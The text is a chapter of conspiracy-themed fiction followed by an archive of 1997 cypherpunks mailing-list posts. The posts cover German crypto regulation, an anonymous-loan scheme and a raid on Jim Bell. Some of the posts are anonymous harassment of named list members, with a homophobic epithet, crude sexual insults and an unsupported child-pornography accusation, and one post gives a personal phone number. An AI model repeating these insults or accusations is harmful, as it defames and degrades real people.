Bubba knocked back another shot of Jim Beam, and continued,
"Four centuries ago, my ancestor spoke to a group of people
much like yourselves, and he spoke not just of danger and despair,
but also of hope-the only hope of all of humanity.

"He told them that that 'one hope' was gathered before him
in the room, that evening, embodied in the presence of those who
had ears, to hear, and eyes, to see. He told them to form a "Magic
Circle", for their own protection, and for the protection
of all of humanity-to gather together in a common bond, with a
common purpose-to build a computer operating system that would
embody the spirit of humanity, containing signposts and clues
that aid them in retaining their connection to the eternal Tao,
to guide them through the dark times ahead, and give them a measure
of protection from the Dark Forces that were striving ceaselessly
to work against them."
"And then, as we all know, he made his 'grand' departure."

A titter of laughter ran through the crowd, breaking the nervous
tension that had been building slowly, but inexorably, up to this
point.

"He got thrown out on his sorry, drunken, child-molesting
ass.", Alexis piped up, sending a roar of laughter
through the crowd.

"That's one way of putting it, yes.", Bubba acknowledged,
exuding a sublime air of innocence.

The crowd waited for him to continue, but Bubba motioned for Jonathan
to join him, and merely said,
"Bubba Rom Dos IV will be remembered, if for nothing else,
for learning from the mistakes of his predecessors."

He bowed graciously, turning things over to Jonathan, and walked
quietly to the back of the room, where he sat in the corner, commiserating
with his old friend, Jim Beam.

Jonathan looked out over the crowd, and began to speak.
"I had occasion, recently, to hear, from the lips of the
Cowboy, himself," a murmur went through the crowd, and Jonathan
immediately saw that Alexis' plan of action was going to be very,
very effective, no matter what the final outcome of all this,
"for the first time in history, a true, first-person account
of exactly what proceeded after Bubba Rom Dos' departure from
the first, and only," he added, much to the surprise
of the gathering, "meeting of the 'Circle of Eunuchs'.

Everyone grew quiet, waiting breathlessly for Jonathan to recount
the details, which he had, in fact, learned by logging onto the
InterNet using the Cowboy's username and password.

He had been met, upon logging on, with a message informing him
that his logon, under the auspices of the Cowboy's identity, would
be invisible to anyone monitoring the system, and that he had
'system permissions' to do anything and everything he desired,
over the range of the whole InterNet computer system, even at
the highest levels of security.
Then he had been immediately launched into a text display outlining
the hitherto unknown details of the meeting chronicled in the
legendary epistle, 'The Xenix Chainsaw Massacre'-the meeting declared
to have resulted in the formation of the original 'Circle of Eunuchs'.

"A stuttering young computer whiz, named Michael," Jonathan
recounted, "took control of the meeting and suggested that
the forces they found themselves dealing with were too pervasive,
too powerful, for them to have any hope of countering by direct
action."
"His view was that, as an organized entity, they would thus
be identifiable, and traceable, and therefore in danger of almost
certain discovery and elimination. So he proposed a unique plan
of counter-attack on Gomez and the Dark Forces. He proposed that
they, as individuals, go their own, separate ways at the conclusion
of the evening, having no contact whatsoever with one another,
and doing nothing, taking no action at all, regarding
the bizarre chain of events which had brought them together."

The gathering looked at one another, mystified as to where all
this was leading, much as the original crowd had done, four centuries
earlier. They looked, as one, back at Jonathan, who smiled at
them, gave them a conspiratorial wink, and told them,
"Stuttering young Michael informed them that, since success
in action of any kind against the Evil One and his agents was
impossible, that they would have to relegate their activities
to the realm of the possible. The realm where nothing
was 'real', but all things were 'possible'-the realm of
Mythos, of myth.

The crowd looked at one another, once again, and saw that each
of them understood, now, the reason why the legend of the 'Magic
Circle' had remained just that, a legend, for as long as they
could remember.

"Michael told them that, upon their dispersal at the end
of the evening, they could communicate with one another, and with
anyone who sought to counter the Dark Forces, in one way, and
one way only-through the inner workings and concepts underlying
the operating system, currently under development, known as UNIX.

"They were to each do their part, no matter how small or
great their position, their talents, or their capacity to influence
the development of UNIX, to make it a model of the eternal
Tao."

Jonathan's eyes swept the crowd, and he could see the connections
taking place in their minds, as they realized the truth of what
he was saying.

"UNIX was to be an operating system which mirrored the Tao,
and humanity itself, being a whole entity of magnificent proportions,
but composed of individual entities, functions, programs, and
the like, which ebbed and flowed in and out of one another, each
standing alone, while at the same time being part of a greater
whole.
"A system which was powerful, by virtue of the combined strength
of its many parts, but flexible by virtue of each of its individual
parts being able to join and work with any other, or combination
of others, to accomplish whatever task was required by any user,
or group of users.

"UNIX," Jonathan intoned, "was to be the first
multi-user system, enabling each user, each individual,
to access the information, the capabilities and the tools, of
the whole system."
"Before they broke up that evening, to go their separate
ways, a second individual, introducing himself as the Son of Gomez,
to the gathering," the crowd chuckled lightly, at this reference
to the Author, "took a few minutes to speak to them about
Mythos, and the Power of Myth."

"The Author told them that the power of myth is the power
of possibility-that within the realm of myth, that anything possible,
is real, or can be real, in our world.
"He told them that Bubba Rom Dos was right, that it was essential
that there be a group of individuals banded together in a common
cause, to counter the Dark Forces' efforts to bring all of humanity
into subjection to the Evil One. He told them that Michael was
right, as well, that it was not only dangerous, but quite useless,
for them to attempt to do so directly. He told them that it was
therefore essential that they do so in the realm of Mythos, keeping
the possibility of the 'Circle of Eunuchs' alive, as an
entity-a real entity residing in the Land of Legend."

Jonathan then turned the floor over to Alexis, who was about to
put on a performance that would make Bubba's propensity for 'horseshit'
pale by comparison. The best 'pitch' of the experienced salesman,
however, is always begun with the purest of truths.

"The Cowboy," she told the gathering, "has set
in motion a plan of action which is about to bring the 'Circle
of Eunuchs' to life, as a living, breathing, entity."

There was a palpable air of hope, and excitement that surged through
the crowd, who struggled to maintain their composure, so as not
to miss a single element of what was about to be said.

"Around the world, throughout every nook and cranny of the
InterNet, there is a search taking place," most of the crowd
was well aware of that fact, it being the spark in a chain of
events that had led to most of them arriving here at this point
in time, "a search for 'Uncle', for 'Uncle Bubba', for 'Uncle
D'Shauneaux'."
"And every time that this search comes to the attention of
someone with the least bit of knowledge of the mythology of the
'Circle of Eunuchs', a spark is ignited, however small, in some
remote portion of their mind. It is a spark that is waiting, only
to be fanned, in order to break into flame-a small flame which
will throw a tiny bit of light on one part of the hidden designs
of the Evil One and his agents. But a million small flames, millions
of small flames, around the world," she noticed the crowd
nodding their assent, "will supply a blinding flash of illumination
that will reveal Gomez and the Dark Allies as the devilish agents
that they truly are."

An excited murmur of approval went through the crowd, like a shot.

"It is up to those gathered here, today, to provide the gentle
breeze that will fan those sparks, turning them into small flames
that can be united as one, to burn away the web of deceit that
Evil One has thrown over us all, through his silent control of
TV and the InterNet.
"And they will be united as one, tomorrow evening,
at sunset, when the Cowboy appears on all 500 Channels, and across
the vast expanse of the InterNet, to confirm the existence of
the legendary, magical 'Circle of Eunuchs'.

The gathered crowd broke into a spontaneous roar of applause,
turning to one another with hugs and back-slapping, overjoyed
that finally, at long last, the battle was about to begin-the
battle between the Forces of Light and the Forces of Darkness.

A battle that would finally be joined by the one hope for all
of humanity-the legendary, hitherto mythological, 'Circle of Eunuchs'.


The crowd was quickly quieted, however, by the sound of jack-boots
upon the doors, as they came crashing down, and storm-troopers
dressed in black rushed in to surround them, followed by a man
with eyes of cold, gray steel-the Shadow.


Chapter 30 - The Meeting








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 01:54:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cryto Doggrel
Message-ID: <334F4D60.4F9C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Tot[h]o[mo]'s babblings are preposterous lies, wild 
distortions, child pornography (both as graphic descriptions and in JPEG 
format), ethnic slurs, and racial epithets.

  \\\\\|/////
   \\\\|////
   < * | * >
   |   *   |
    \( . )/
     \___/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 12 Apr 1997 02:52:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: The Balance of Terror
In-Reply-To: <199704120738.BAA15473@wombat.sk.sympatico.ca>
Message-ID: <v03007805af7519ec7157@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:45 AM -0600 4/12/97, TruthMangler wrote:

>  I know it's midnight, the drugs are kicking in, and there are
>few posts to respond to on the weekend, but please make an attempt
>to start a new thread, as opposed to taking the easy way out and
>piling new drivel on top of old drivel.
>
>Dr. TruthRoberts

Fuck you. I start more threads than anyone I know of.

Jesus. The nonsense we get with nyms.


--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tmc@got.net>
Date: Sat, 12 Apr 1997 01:54:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Hash Techniques
Message-ID: <334F4E24.2C0F@got.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto carries a turd in his wallet for identification 
purposes.

    _ _/|
   \'o.0'
   =(___)= Tot[h]o[mo]
      U






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tmc@got.net>
Date: Sat, 12 Apr 1997 01:54:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Bloated Economies
Message-ID: <334F4E79.2FE4@got.net>
MIME-Version: 1.0
Content-Type: text/plain


Totohomo has been a source of endless 
embarassments to his sympathizers on and off the net.

    o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
   /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ 
   / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 12 Apr 1997 00:21:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: german crypto laws
Message-ID: <199704120722.DAA05153@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

This is a press release of the german Forum of Computer
Professionals for Peace and Social Responsibility (FIfF). It
discusses the crypto-proposals of the german government, which are
similar to the UK and US proposals.
Please note, that this is my own "unofficial" translation of it. All
phrases in [] are either my additional comments or are phrases, that
I couldn't translate directly.
If you want the original german text, e-mail me.

Ciao

Harka

====================================================================
                         P R E S S  R E L E A S E
                    of the Forum of computer professionals for
                         peace and social responsibility
                              Bonn, in April, 1997

     Cryptography proposals reverse constitutional rights

The Forum of computer professional for peace and social
responsibility declare the following to the recently made-public
plans and intentions to regulate cryptography internationally and
nationally:

Very obvious are the efforts to the regulation of cryptography.
After several tries guide lines to crypto-politics were worked out
at the end of march by the OECD[1]. Almost simultaneously plans from
the United States[2] and the United Kingdom[3] for new
national crypto regulations became public. Further developments
suggest, that also the [german] Federal Government has worked out
specific plans to regulate cryptographic technology in Germany.


On the current level of planning the [german] Federal Government is
considering three variations of regulation[5]:

1. A key-escrow-solution, in which providers of cryptographic
   services have to provide the keys of customers to
   law-enforcement, if necessary.

2. A key-escrow-solution, in which only federally licenced
   providers of cryptographic services are permitted to operate.

3. A key-escrow-solution with simultaneous prohibition of all not
   federally permitted technologies.

The FIfF is seeing herein a serious threat to the developement of
society, that is increasingly dependent on information transfer.
Not only is the protection of privacy now ranking below federal
surveillance wishes, but also the protection of all interactions
and transactions, that happen on electronic networks. This not
acceptable interferance [with privacy] is for technical reasons not
even accompanied by any plus sides for federal investigators.


The planning of crypto regulations make clear not only the complete
neglect of civil rights in our [german] constitution. It is
becoming a symbol for the huge deficits in understanding the
problems, possibilities and challenges of [...] an information
society.


The FIfF sees five areas, where arguments for the damage of crypto
regulations can be made:

I. Crypto regulations as last building block of surveillance

Why does cryptography have to be regulated by law? From the official
side a crypto regulation in Germany is necessary, because it's the
last missing piece to surveillance of [long distance] information
traffic. The law for "Long-distance information traffic
surveillance" (FUeV)[6] forces providers of information traffic
installations to provide the clear-text of monitored traffic to law
enforcement. This can be avoided by end-to-end cryptography by
single users. Since telefone and fax [communication] are rarely
encrypted, a regulation of cryptography would mainly affect users
of electronic networks, who can ensure the postal privacy only
through encryption.


It's underlying suggestion is, that encrypted data traffic of
suspects [of crime] in electronic networks is the norm and can't be
under surveillance. This is not true.


The current laws and regulations are forcing providers of electronic
networks to guarantee a surveillance of law enforcement and
intelligence services; this is already happening[7]. Up until now no
case is known, where the investigation of a crime was made
impossible through cryptography. Nevertheless vague threat-scenarios
are mentioned, to make an increased surveillance of information
traffic more plausible.


In Germany though it's hard to observe an under-development in
surveillance. While in the United States and it's 240 million
citizens 1229 telefone surveillance requests were granted in 1995,
Germany with 80 million citizens had in the same time 3667 requests
granted[8] - per citizen 6 times as many surveillance activities as
in the USA. In 1996 the number of granted requests increased again
175 percent to 6428 [9]. No comparison of the crime rates in
Germany and the USA can possibly explain these differences [...].
In which way these methods [of surveillance] have contributed to
crime investigation is not known, since here a control of the
[surveillance] activities is not done, as opposed to the USA.


Although deficits [in surveillance] aren't noticable, the Great
Listening Attack and crypto law are to open new fields for
surveillance. Through that basic civil rights are increasingly
limited.


II. Basic rights are reversed


The protagonists of a crypto law say, that such a regulation would
be nothing new, but only a adaption of [existing] info surveillance
to technical developments. This is wrong.


Outlawing all not licenced crypto technology is reversing current
principles of civil rights. The limitation of postal secrecy is
only permitting the control of sendings. There are no forced ways
of writing, nor are certain languages or ways of expression
prohibited. No law is prohibiting to write with secret ink or to
use any other means to make messages secret. Somebody opening
letters has to do all work of analysis himself - no sender has to
help him with a [correct] letter written according to law. A
prohibition of cryptography, despite all current systems of law,
would throw the law-conform electronic communication under the
dictat of governmentally sanctioned syntaxes. No dictatorship in
Germany has ever demanded that.


III. After all, it's your money....


Electronic networks are transporting not only letters, even the
politicians got that. Using cryptographic technologies therefore is
not limited only to postal secrecy, but also other things worthy of
protection.


Those who make crypto laws also want the control over the electronic
variants of transactions, that are currently under special privacy
protection rights. The electronic service law of the IuKDG makes it
obvious by stating explicitly electronic banking as an electronic
service. For users of online-banking, online-work and
online-medicine the bank-, service-, and medical secrecy gets
reduced to the information traffic secrecy [law]. Thus the
information traffic secrecy [law] is becoming a strategic basic
[constitutional] right. A crypto law would not only undermine this
basic right, but many others as well. Such a law is a trojan horse
[for the democratic state] in an information society.


IV. Additional problems in reality


Let's assume, a crypto law would be formulated. How would it be
[constitutional] and would it be practicable? To note is a law to
digital signatures in the IuKDG, that indicates [a limitation of
asymmetric] cryptography technologies. This leads to characteristic
problems.


1. A handing-over of an escrowed key to law-enforcement means with
currently available systems, that a unlimited surveillance of the
key-owner is possible, as long as he uses the same [unchanged] key.
This is even in the practice of surveillance an un-precedented
limitation of citizens-rights, which [out-of-proportion nature] is
also clear to cryptography experts and supporters of a [crypto] law:
No one less than Otto Leibrich, Ex-President of the Federal Agency
of Information Technology Security (BSI), publicized, how through
introducing a time-variable in cryptography technologies timely
limits should be set to surveillance[10]. But could the security
agencies have an interest in [such] a lawful technology, that could
not be decrypted anymore, when users could prevent investigation
already through a changed system date?


2. The [available to law-enforcement] private key of a suspect makes
only his incoming data traffic readable, but not his messages to
third persons. In respect to the nature of asymmetric crypto
technologies [...] proofs for an communicated agreement with third
persons to commit a crime are only to be won, if also the keys of
his communication partners are available, and beyond that in certain
circumstances even their partners. The result is a tendency of an
exponential increase of the [circle of] suspects, the surveillances
and the work-load for the investigators. Here is no proportionality
anymore nor effective Investigation.


3. Due to the lack of competent institutions, the federal
government will not be able to avoid using the infra-structure,
that it's currently creating for introducing and issuing digital
signatures, to control crypto keys as well. No law will balance the
loss of trust, when one one side the institution has to hand over
private keys to law-enforcement and on the other hand guarantees
for the security of the digital signature. Would the digital
signature get into the wrong hands, any document could be lawfully
signed. The fear of citizens is understandable, to be [powerless]
to manipulations of federal key mighties. With such a loss of trust
the federal government and companies [that support the digital
signature] shouldn't even bother [to set up the infra-structure].


4. A national crypto law is not able to adress accordingly the
problems of international traffic typical for electronic networks.
To get the crypto keys of a "Mafia Organization", the agencies of
several countries would have to be mobilized. Are the supporters of
a crypto law really serious, that an international co-operation in
getting escrowed keys would function better than the current bad
co-operation in investigating crimes, where electronic networks
were used?


5. Compared to that it's almost neglectable, how such a crypto law
would make harder the life of the software industry. To guarantee a
relation of crypto key and user on the grounds of the law, the
makers of Internet-browsers, for example, [...], would have to
refrain from distributing their products in Germany via the
Internet and instead sell software packages only [in stores] to
persons with ID. Such an effort is affordable only for a few and
wouldn't necessarely strengthen the position of the legal use of
secure systems. When beyond that different and technically
incompatible national regulations were enacted, the much cheered
upon global Electronic Commerce would remain an illusion.


V. A crypto law doesn't make the investigators smarter either


Nobody can overlook this fact: a crypto law can be easily [routed
around]. A legal cryptographic system can be used several times on a
message, in fact, a with an illegal technology encrypted message
could be "packed" in a legal system. Also a crypto law can be
avoided, so that nobody knows: Steganography and other means to use
covert channels hide messages in plain-text files, for example, and
put a veil around the very existence of an encrypted message.


- From the routing around of the crypto law, the federal security
experts hope to actually gain advantages, because out of the circle
of users of illegal crypto technologies, they could win worthy
hints about the organizational structure of the suspected circle of
people.


With the use of steganography such a group of persons is never to
become known [to law-enforcement]. But what would be won, even if a
group of people would be found, that uses the same illegal crypto
system? Their communication would not be decryptable, thus has to
be won through other means. As investigators today are already
sinking in a mountain of papers with protocols of phone
surveillances, in the future they will have to spend even more
effort to investigate groups, who have done nothing wrong but to
use an non-permitted crypto system and communicate incidently with
people, who are suspected of something. Such an effort can't even
be justified by employment-market reasonings. To stamp the users of
non-permitted cryptography automatically to suspects would be
therefore even from an investigative perspective nothing but
nonsense.


- From a technical and practical perspective, a crypto law is nonsense
and un-enforcable. [Some] lawyers though have the opinion, that
independent from the enforcement the law has to be obeyed in any
case. But such a dogmatic viewpoint is hard to balance with a
democratic society.


VI. Conclusion


The FIfF has the opinion, that a crypto law would even more
increase the already not shyly used surveillance of information
traffic in Germany. It reverses constitutional rights and
principles. It threatens drastically the constitutionally protected
citizens-rights in electronic transactions and interactions. It
would lead in practicality to severe additional problems with laws
and will certainly not make the work for investigators any easier.
The problems that come with such a regulation will also not be
solved through law-dogmatism. The severe damage for civil rights,
democracy, but also economical interests, are opposed by a very
thin advantage. With that background, every rational analysis would
therefore have to come to the conclusion, to avoid a regulation of
cryptography.


That the federal government is not doing that, despite
consultations with acknowledged experts over several years, is
either a proof for lack of knowledge or the willing neglect of the
consequences.


The very similar regulations of the OECD, Great Britains, the USA
and the West-German plans are out-of-sync with the visions of a
global, democratic information society.


VII. Demands

Instead of a limitation of cryptography it is according to the FIfF
necessary to:

1. increase the availability and use of cryptography,

2. not hinder the use of cryptography through limitations or
   prohibitions,

3. make the free choice of crypto systems possible,

4. support the development of secure crypto systems,

5. increase the protection for electronic transactions and
   interactions,

6. evaluate the use of federal surveillance of communication
   regularly, independently and in-depth.

              --------------------------
1 Cryptography Policy Guidelines; Recommendation of the Council,
http://www.oecd.org/dsti/iccp/crypto_e.html
2 http://www.cdt.org/crypto/admin_397_draft.html
3 Minister for Science and Technology: Licensing of Trusted Third
Parties for the Provision of Encryption Services;
http://www.cl.cam.ac.uk/users/rja14/dti.html
4 Presserklaerung des forschungspolitischen Sprechers von
Buendnis 90/Die Gruenen, Dr. Manuel Kiper:
http://www.gruenebt.de/aktuell/pm/indizes/in970236.htm
5 am konkretesten: C. Schulzki-Haddouti: Kanthers Kurs auf das
Kryptoverbot; in: http://www.heise.de/tp/te/1146/fhome.htm
6 vgl. die Stellungnahme des FIfF zur FUeV unter
http://hyperg.uni-paderborn.de/0x83ea6001_0x0036ce9
7 Erste Faelle einer Ueberwachung von Internet-Accounts wurden
bekannt in: 30.000 Telephonate mitgehoert; in: Sueddeutsche
Zeitung, 2.12.96, S. 15
8 USA: Newsweek 20.5.96, Bundesrepublik: Bt-Drs 13/3618
9 Bt-Drs. 13/7341
10 Otto Leiberich: Verschluesselung und Kriminalitaet II, in:
BSI-Forum der KES 1/95

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Forum InformatikerInnen fuer Frieden und         FFFF I  fff  FFFF
gesellschaftliche Verantwortung (FIfF) e.V.      F    I  f    F
Reuterstr. 44, D-53113 Bonn                      FFFF I  fff  FFFF
E-mail: fiff@fiff.gun.de                         F    I  f    F
Tel.:xx49-228-219548  Fax: -214924               F    I  f    F

CL/GRUPPEN/FIFF   und
http://hyperg.uni-paderborn.de/~FIFF
forum computer professionals for peace and social responsibility
* * * * * * * * * * * * * PGP-Key on request  * * * * * * * * *

====================================================================


/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

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If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 12 Apr 1997 01:36:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: One-time pads
Message-ID: <199704120836.EAA11968@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] Mayonnaise studied yoga back-streching 
exercises for five years so he could blow himself 
(nobody else will).

        /////
       | @ @  Timmy C[reep] Mayonnaise
       C  _)
        \ o





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 12 Apr 1997 07:43:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: The Balance of Terror
In-Reply-To: <v03007805af7519ec7157@[207.167.93.63]>
Message-ID: <ggs25D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> Fuck you. I start more threads than anyone I know of.

No thank you, Timmy, we're not interested.

Besides, you claim to have killfiled half the posters - how can
you know who starts how many threads?  Are you lying again?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Sat, 12 Apr 1997 12:07:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: anonymous credit
Message-ID: <199704121752.KAA03393@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Wei Dai, <weidai@eskimo.com>, writes:
> The idea goes like this.  The government announces a new series of
> anonymous zero-coupon treasury bonds that mature in 10 years, backed by a
> special lump-sum tax to be collected when the bonds mature.  The proceeds
> of the bond auction and the tax are distributed equally among everyone.
> So basicly, the government forces everyone to take out a loan on the
> credit market and guarantees its collection.  Anyone who does not want the
> loan anonymously buys treasury bonds with all of his distribution, holds
> them for 10 years, redeems them at maturity and uses the proceeds to pay
> off the lump-sum tax.

I think this is a very intriguing idea.  Let me try to spell it out in
more detail with some concrete numbers.

A zero-coupon bond is one with a purchase price less than its face value.
After the maturation of the bond, it can be redeemed for its face value.
The purchaser of such a bond is loaning money to its buyer, and he will
be paid off at the end of the loan period with more money than he put in.

For a ten year bond, maybe the purchase price is 1/2 its face value.  A
$1000 bond would be purchased for $500, and redeemed in 10 years for $1000.

An "anonymous" bond would be a bearer bond, one which is sold without any
record of who bought it, and which can be redeemed at maturity by whomever
holds it.

In the example above, the U.S. government sells, say, $1 billion worth of
these 10 year zero coupon bonds.  It will have to pay back $2 billion in
ten years at maturity.  The $1 billion in revenues is then distributed
evenly to everyone in the country.  Assuming a population of 250 million,
each man, woman, and child gets $4.

In ten years, in order to pay off the redeemed bonds, $2 billion of special
taxes will be collected.  This will amount to $8 per person.

As Wei says, each person in the country (who doesn't participate in the
bond sale) is given $4 now, and must pay $8 in ten years.  In effect he
is given a $4 loan, payable in ten years.

If he does not want that loan, he can take his anticipated $4 and buy $4
worth of the bonds during the bond sale.  This produces no gain or loss
of money, but he gets the bond.  Then, in ten years, he turns in his bond
for $8, and uses that to pay off the $8 in taxes.  He ends up without
any change in his financial state, neither loaning nor borrowing money.

(There is a slight complication in that at the time of the bond sale,
people who want to offset their loan with a bond purchase won't yet have
the loan funds to buy the bond; and at the end, people want to pay
off their tax with the bond redemption, but the government can't redeem
the bonds until it collects the tax.  I'm not sure if this is a serious
problem or not.)

Now, if this picture is correct, this isn't exactly how I would have
thought of an anonymous loan.  The people receiving the distributed
revenues from the bond sale are essentially borrowing money from the
government.  Every borrower is identified, and must pay back his loan
in ten years via his taxes.  So the loans are fully identified and
not anonymous.

What does happen though is that some (or most?) of the people can offset
their loan by anonymously lending money (buying bonds).  In effect
they have borrowed money from the government, non-anonymously, but then
have the option of lending all of it back, anonymously.  At the end, it
is impossible to know which people have retained their loans and which
people have cancelled them.  So you don't know who has borrowed money,
and this therefore is effectivelly equivalent to an anonymous loan.

> The fatal flaw, of course, is that there is no reason why the government
> would want to help people get anonymous loans.  Can anyone find a way to
> fix this?

Maybe a non-governmental body could be used in place of the government.
Suppose a group of people wanted to allow some members to borrow
money anonymously.  For example, a church group wants to help members
through tough times via loans, but they don't want the recipients to
be identified and bear the stigma of needing charity.

Wei's idea could still be used: the church sells its own bonds, redeemable
at some future date for more than the face value.  The funds from the
sale are distributed evenly to all members.  Members who don't want to
borrow make purchases at least equal to their receipts.  Then, after
the time period, everybody has to pay a special membership fee ("tax")
so that the bonds can be redeemed.  If some people can't pay, the other
members will have to be willing to pay more to cover their defaults.

One practical problem with this idea is that the amount of money loaned
per person is small compared to the volume of transactions going on,
especially for large groups.  In my example above, each person only
anonymously borrowed $4, given $1 billion worth of transactions.  That's a
lot of paperwork with associated transaction costs for a small value.
With smaller groups the idea might actually be more practical, although
there is less anonymity then.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 12 Apr 1997 09:53:59 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: One-time pads
In-Reply-To: <199704120836.EAA11968@dhp.com>
Message-ID: <Pine.A41.3.95.970412105314.114424A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sat, 12 Apr 1997, lucifer Anonymous Remailer wrote:

> Timmy C[reep] Mayonnaise studied yoga back-streching 
> exercises for five years so he could blow himself 
> (nobody else will).
> 
>         /////
>        | @ @  Timmy C[reep] Mayonnaise
>        C  _)
>         \ o
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sat, 12 Apr 1997 11:40:22 -0700 (PDT)
To: Sergey Goldgaber <gbroiles@netbox.com>
Subject: Re: Jim Bell raid
Message-ID: <199704121840.LAA06367@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:43 4/10/97 -0400, Sergey Goldgaber wrote:
>On Wed, 9 Apr 1997, Greg Broiles wrote:

>- -> I realize that we're talking about net-time, but "long before" seems
like a
>- -> poor way to describe the 2-2.5 days between the appearance of the "IRS
>- -> Inspection" report (which was, in fact, the transcription of newspaper
story)
>
>Time flies fast on the Internet; or haven't you noticed?  Three days of rather
>heated discussion took place between the time the arrest was announced and 
>your message saying that you had the warrants, etc.

For the record, I was never arrested and so far haven't been charged with
anything.  They're mightily pissed, however, and who knows what'll happen in
the future.  However, the local news was pretty embarrassing to them, and
they've unintentionally alerted the media that there is actually a story to
be covered, although it wasn't the one they wanted!

The local newspaper is putting the essay on their website, or so I hear, so
the public is going to be able to bypass all of the government hype and get
to the real issue.





Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sat, 12 Apr 1997 12:24:21 -0700 (PDT)
To: John Young <cypherpunks@toad.com
Subject: Re: Jim Bell raid
Message-ID: <199704121924.MAA16622@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 20:05 4/04/97 -0500, John Young wrote:
>Now that's Assassination Politics to feed the lust of the best and brightest
>of all nations, if not that of a few of the overmuch AP protestors here.
>
>Jim's telephone number: 1-360-686-3911

My _correct_ phone number is 1-360-696-3911.  Sorry that I didn't notice the
error until now.  


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 12 Apr 1997 13:50:47 -0700 (PDT)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: "...markets are fundamentally chaotic, not efficient"?
In-Reply-To: <860759798.116769.0@fatmans.demon.co.uk>
Message-ID: <19970412134742.15722@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, Apr 11, 1997 at 06:34:48PM -0500, Igor Chudov @ home wrote:
> market efficiency and chaos are not necessarily mutually exlusive
> 
